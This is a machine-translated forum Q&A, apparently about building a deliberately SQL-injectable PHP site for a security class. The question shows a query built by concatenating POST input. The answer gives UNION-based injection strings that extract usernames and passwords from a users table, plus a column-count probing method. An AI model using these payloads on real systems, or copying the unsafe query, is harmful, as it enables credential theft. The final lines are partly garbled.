我正在为网络安全类设计一个站点,该站点容易受到SQL注入攻击。我的查询是用php看起来像这样
$sql = "SELECT * FROM blogposts WHERE name= '" . $_POST["blogname"] . "'";
它正在查询表博客中的帖子。我正在使用mysql_fetch_array进行打印,因此无论列名如何,它都应该打印出结果。
但是,在我的数据库中,我有另一个名为users的表,它有用户名和密码。我希望查询返回。
有人能指出我正确的方向吗?如果我不能打印另一张桌子,我该怎么做呢?
答案 0 :(得分:3)
你会注入
' OR '1'='1' UNION SELECT Username, Password FROM users;--
哪个会进行查询
SELECT * FROM blogposts WHERE name= '' OR '1'='1' UNION SELECT Username, Password FROM users;--'
将来自原始更改查询的结果与来自users表的结果结合起来。
但是,首先需要确保从用户中选择的列数与原始查询匹配。为此,您首先要进行一些测试查询,例如:
' OR '1'='1' UNION SELECT 1 FROM users;-- ' OR '1'='1' UNION SELECT 1,2 FROM users;-- ' OR '1'='1' UNION SELECT 1,2,3 FROM users;--
直到您的查询返回没有错误。然后你知道你有正确的列数。如果您说有5列,那么您对users表的注入查询将变为
' OR '1'='1' UNION SELECT Username, Password, 3,4,5 FROM users;--
如果用户表和列的名称未知,那么您可以使用information-schema数据库进行联合选择以查找这些,或者您可以使用暴力(例如尝试选择username
,{ {1}},uname
,name
等,直到您得到结果。)